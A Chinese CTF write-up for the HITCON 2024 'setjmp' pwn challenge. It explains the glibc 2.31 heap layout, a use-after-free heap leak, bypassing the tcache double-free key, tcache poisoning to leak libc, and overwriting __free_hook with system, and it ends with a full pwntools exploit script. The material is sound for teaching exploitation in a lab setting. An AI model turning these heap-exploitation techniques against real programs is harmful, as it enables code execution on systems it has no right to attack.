前言
做这道题的时候当时刚刚重新学堆,其实确实观察到uaf的点,以及想到剩下root本身就可以double free,但没有做出来,是因为当时不知道tcache安全机制。整理相关安全机制+正确收集libc版本以后,这道题的思路呼之欲出,但细节还是经验不足啊,没刷多少题,得去看看师傅们是怎么构造任意读写的,实际上这道题可以完美地作为tcache中期安全机制的例题。
赛后官方提示
设置jmp:
通过重写tcache key并释放后释放,double free -> tcache_poisoning
对于地址泄漏,如果你用 tcache_poisoning 搞乱了堆,那么如果你努力的话,你可能会泄漏 libc 和堆栈。
setjmp 预期漏洞 TLDR 版本
漏洞
- 在链表只有一个项时,unlink 操作中的使用后释放(UAF)
利用
- 使用后释放(UAF),泄露堆基址
- tcache 中毒,泄露 jmp_buf 中被篡改的 rip 和 rsp
- 修改 jmp_buf,使用格式化字符串泄露栈和 libc
- 计算篡改密钥,跳转到 system
非预期解决方案
- 通过堆 Feng Shui 泄露 libc
- 使用 malloc_hook 控制 rip
题目信息收集
错误示范:docker-compose up
在这里犯下了一点错误
只给了dockerfile,没有给libc,
所以第一反应是docker-compose up
进docker里面去查看libc版本
2.36版本,也就是跟现今的高版本libc差不多,指针异或加密,tcache double free检测,等等,都会有?那怎么做,其实确实可以按上面的方法破掉加密指针,但最末尾无论输入什么都会抹掉一个字节,所以得爆破0xff
然而实际上这题是glibc2.31的,白忙活一下午
这是因为直接这样起docker的话,docker自己本身会对内部的libc进行升级2.31->2.36
这样是行不通的!
正确示范
正确做法是打开Dockerfile
直接docker pull 作为base的ubuntu
然后进去看ldd –version
2.31-0ubuntu9.16 ,好消息:__free_hook还在,且指针不加密
可以在glibc-all-in-ones找到对应的libc下载下来然后patchelf,后面的步骤略
附上各linux发行版本默认glibc:
checksec
安全机制全开
逆向分析
这题使用IDA8.2比IDA7.7的反汇编结果更加清晰
题目自定义结构体
本题主要的结构体大概长这样,首先定义一个User结构体作为本题里面自定义的结构体
初始化函数
对应上面那个结构体
刚开始是有一个root块的,fd和bk都指向root块自身,其返回首个chunk地址,之后都会以此为操作的基础
功能选择
打印菜单,并写入一个值到bss段上的位置jmp_to_int,之后longjmp到用户输入值上
外面的_setjmp就是这次jmp_to_int的跳转目标,会跳到此处并携带val值,所以会switch到相应分支上
0:菜单里没有,实际上不需要管这里
1:跳回main开始处,这里会重新去生成一个heap_pointer地址,并把root的fd、bk重新都指向自身
2:add增加用户,其实就是双链表下的头插法
如果这里username不输入东西,就能保留原来存在的值。可以造成一个循环双链表,因为heap_pointer指的是root块,而add的时候,root块不会改变第一个加入块的bk,随着头插法的继续,其bk永远都指向root
3:删除用户,存在指针没有被置空的问题。而且这样写,即使root被delete掉,其仍然是heap_pointer
其中,被free的ptr的寻找方式是根据username的匹配对chunk进行遍历,如果没有就根据bk找到下一个的位置
4:更换密码,对应后面说的edit功能,是的edit只能改密码
5:show 打印所有chunk的username和password
至此,获取到了比较立体的信息:
1.libc 2.31,保护全开
2.存在悬挂的指针,且root的存在可以double free
3.自己实现的方法是不断根据bk来遍历,根据username来判断是否是指定块,那么即使破坏了块的结构,只要bk指针仍然指向块,而且username填为内存中的对应内容,仍然可以进行块的操作(泄露、edit改password位置等)
exp分析
第一阶段:泄露heap
由于存在free过后没有置零的情况,泄露heap非常简单,只要delete一个用户,其tcache->fd便会被写入到 题目结构体->username位置
tcache bins的next和key恰好对应题目自定义结构体中username和password的位置,因而能被show所泄露、被edit改写
没颜色的就是inuse,黄色为tcache bin,
第二行为tcache bin entry指向位置
下同
第二阶段:双重释放条件
2.28引入的tcache key,然而只要key填写不正确,就可以无视double free检测,这对于本题来说是比较容易做到的,因为其key字段正是对应本题password位置
reset->double free
而这题的reset其实能提供类似于重置环境的效果
其实这里当时想到了,如果仅剩一个root,那么就能free其自身两次,但当时还没学到tcache libc,不知道有key这种东西,也不知道绕过方法,当时刚接触堆,报错劝退了我
实际上可以edit(username,错的key)一次,password乱填注意别填对tcache的key就行,同时可以更改username(tcache的next)从而达成把下一个chunk分配到希望的地方的效果
edit只能改密码那个位置哦
修改key以绕过tcache double free 检测
回想这题寻找下一个块的方法是根据姓名来找,而且heap_pointer仍然指向root,但是username已经不再是root了,而是换成了tcache的next块
所以需要动态调试一下,找出tcache->next现今一次free后的值,原来是heap+0x540(低三位固定,高些的位才是动态地址的)
所以可以指定username为(heap+0x540),然后把key改成不对的,就能绕过tcache double_free检测对root进行double free了
总之,现在我们完成了二次释放,两个tcache bin的位置完全一致,离任意读写(Arbitrary Address Read/Write,发现很多外国人喜欢说AAR、AAW)不远了
第三阶段:AAR读libc地址
此时故技重施,使用gdb发现root的位置的username,变成了heap+0x560,又可以继续操作root块了
又因为tcache bin之前是重叠状态,此时的新申请,顺道把tcache 的next改成了我们需要改写的地址,而key则是改为了0,理由也是为了规避double free检测
再申请一个块,其就会被放入到root块(起始于heap+0x560)的高0x20处,其username、password覆盖了root的fd、bk
按照ptmalloc规则,消耗完以上两个重叠的tcache以后,再申请一个0x30块,其在heap+0x540+0x30位置
把以上三次分配图形化以后
最后检索到红框处,触发delete该块,与root unlink并free自身,将该块加入到tcache,
此时的内存情况,可以参考一下
或者我们可以add个块在这,直接读username是AAR,而使用username来操控其next地址还能造成AAW
add一个块,用于泄露libc,之前选择的heap+0x570就是因为restart以后这里有libc相关地址
这样就完成了libc劫持
第四阶段:AAW劫持free_hook
最后作者删除了泄露完的块,然后把root也删掉以后,再去edit “root”——此时root块的名字是p64(heap+0x740),并顺带把key置为p64(0)
然后删除该块,造成tcache再次重叠,
最后通过相同的原理,使用add操控tcache->next,将其释放到__free_hook(libc+0x1eee48-8),-8是为了存放binsh字符串,那么-0处就能存放system地址了
然后又通过add把username改成/bin/sh,password改成system函数(libc+0x52290)
那么就能够通过free,getshell了,因为__free_hook被改成了system,而其第一个参数将会指向被free的部分,被free的部分又指向了find_chunk_by_username(heap_pointer);,即username
完整exp
搬运自https://blog.csdn.net/llovewuzhengzi/article/details/140413292
就是照着这个来看的
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
def restart():
p.sendlineafter(b'> ',b'1')
def add(name,passwd):
p.sendlineafter(b'> ',b'2')
p.sendafter(b'username > ',name)
p.sendafter(b'password > ',passwd)
def delete(name):
p.sendlineafter(b'> ',b'3')
p.sendafter(b'username > ',name)
def edit(name,passwd):
p.sendlineafter(b'> ',b'4')
p.sendafter(b'username > ',name)
p.sendafter(b'password > ',passwd)
def show():
p.sendlineafter(b'> ',b'5')
libc=ELF('2.31-0ubuntu9.16_amd64/libc-2.31.so')
p=process("./run1")
###1 UAF leak tcache fd(heap) ###
add(b"2",b"2")
delete(b"2")
delete(b"root")
add(b"1",b"1") # cover part heap address
show()
heap=u64( (p.recv(6)).ljust(8,b"\x00"))-0x531
print("heap",hex(heap))
###2 double free fengshui ###
add(b"2",b"2")
add(b"3",b"3") # then need heap address to find the chunk to edit
# 0x420
for i in range(21):
add(b"extend",b"extend")
delete(b"2")
delete(b"3") # else can't find
restart() # root_chunk change 3
delete(b"root")
edit(p64(heap+0x540),b"0")
delete(p64(heap+0x540))
### 3 aaw leak libc ###
add(p64(heap+0x560),p64(0))
add(p64(heap+0x560),b"unuse")
add(p64(0),p64(0x421))
print(hex(heap+0x560))
#pause()
delete(p64(heap+0x570)) # new user will change 16 24
restart() # enconvinent to layout
add(b"1",b"1")
gdb.attach(p)
show()
leak=u64( (p.recv(6)).ljust(8,b"\x00"))
libc=leak-0x1ecb31
###4 aaw hijack free hook###
delete(p64(leak))
#gdb.attach(p)
#pause()
delete(b"root")
edit(p64(heap+0x740),p64(0))
delete(p64(heap+0x740))
add(p64(libc+0x1eee48-8),p64(0))
add(b"nouse",b"nouse")
add(b"/bin/sh\x00",p64(libc+0x52290))
delete(b"/bin/sh\x00")
p.interactive()
参考
https://blog.csdn.net/llovewuzhengzi/article/details/140413292
https://jt00000.github.io/2024/07/15/post_hitcon2024_setjmp_v8sbxre.html
对应上面的wp:
https://github.com/jt00000/ctf.writeup/blob/master/hitcon2024/setjmp/solve.py
看不懂 反正ba1100n牛逼就对了